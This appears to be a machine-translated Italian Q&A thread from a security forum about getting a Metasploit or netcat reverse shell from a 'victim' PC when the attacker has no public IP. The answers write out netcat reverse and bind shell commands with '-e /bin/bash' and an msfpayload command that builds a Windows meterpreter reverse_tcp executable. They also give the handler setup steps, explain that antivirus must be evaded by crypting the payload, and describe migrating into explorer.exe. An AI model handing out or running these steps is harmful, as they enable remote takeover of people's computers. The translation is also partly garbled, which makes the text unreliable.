msfconsole è uno strumento per pentesting opensource di metasploit .
Una volta che l'exploit è valido, possiamo impostare il payload alla vittima. Per una connessione persistente, potremmo aver bisogno di meterpreter.
Ma spesso testiamo la sicurezza nelle macchine virtuali che eseguono msfconsole.
Senza IP pubblico, il PC della vittima può reindirizzare al nostro server locale nelle macchine virtuali?
Alcuni suggerimenti?
bind shell: questo consente di impostare una porta da ascoltare sulla connessione locale per le porte in ingresso, ad es. nc -nvlp 8080 -e /bin/bash ... questo dovrebbe aprire una connessione ad un ambiente bash quando una macchina remota si connette al suo indirizzo IP di rete.
Reverse shell: imposta una shell di bind sulla tua macchina PROPRESSA senza -e / bin / bash ... e poi esegui nc -nv YOUR.IP.ADDR.HERE 8080 -e /bin/bash sulla macchina victum.
sembra che una delle tue connessioni sia dietro un NAT? e quindi nessun IP? se questo è vero, devi impostare nc -nvlp 8080 su quale posizione abbia mai un indirizzo IP con cui puoi lavorare.
So che hai detto metasploit ma questo è un buon modo per spiegare e comprendere le differenze di connessione.
quindi con metasploit puoi provare un reverse_tcp o un payload bind_tcp
Sapere che stai usando Metasploit è un buon segno, basta indicarlo.
Per prima cosa, devi creare un carico utile effettuando le seguenti operazioni:
msfpayload windows/metepreter/reverse_tcp LHOST="your local IP without quotations" LPORT="any specified port you operate on" X > filenamehere.exe
Quindi, segui questi passaggi in ordine di numero quando digiti nel terminale:
1. msfconsole
2. use exploit/multi/handler
3. set PAYLOAD windows/meterpreter/reverse_tcp
4. set LHOST "ip you used when creating the payload in the first step without quotations"
5. set LPORT "port you used when creating the payload in the first step without quotations"
6. exploit
Dopo aver digitato exploit, e se seguito correttamente, riceverai un messaggio nel terminale come questo:
[*] Started reverse handler on "IP Address"
[*] Starting the payload handler...
Ora, con il payload creato nel primo passaggio, si desidera eseguirlo sulla macchina che si sta classificando come "vittima". Ovviamente, questo non funzionerà se si ha un antivirus perché (il payload) non è stato criptato da un criptatore o codificato con codice junk per nascondere il payload. Una volta eseguito il payload sul computer della vittima, riceverai una sessione meterpreter sul tuo terminale.
Quando ti trovi nella sessione meterpreter , la prima cosa che devi fare è migrare a explorer.exe e puoi farlo digitando quanto segue nel tuo terminale:
ps (shows the current running processes on the computer with a number ID on the left of it)
migrate (id of explorer.exe)
Divertiti con la sessione meterpreter.
Without public IP, can the victim PC bind back to our local server in VMs?
Questo è possibile, ma ciò dipende. Se l'IP della macchina VM è locale sul tuo computer, solitamente si assegna a un 198 IP. Questo è quello che succede sempre con me, in modo che sia reso inutile per la 'vittima' dal momento che si tratta di un IP locale. Se non si cripta la connessione TCP tramite VPN in quanto tale e la vittima ha la conoscenza corretta diciamo, può visualizzare i suoi registri di connessione, vedere le sue connessioni in entrata e in uscita e le connessioni non sono crittografate e il tuo IP pubblico è in vista semplice, potrebbe essere in grado di DOX o ottenere informazioni con qualsiasi metodo che lui / lei conosce.
Spero che ti aiuti.
Per quanto ne so, è possibile configurare la VM in modo che il SO guest condivida l'interfaccia di rete fisica con l'host. In tal caso, se inizi
nc -nlvp 8080
l'ascoltatore sta anche ascoltando il mondo esterno. Questo dovrebbe fare il trucco.
Leggi altre domande sui tag reverse-engineering virtualization tcp exploit metasploit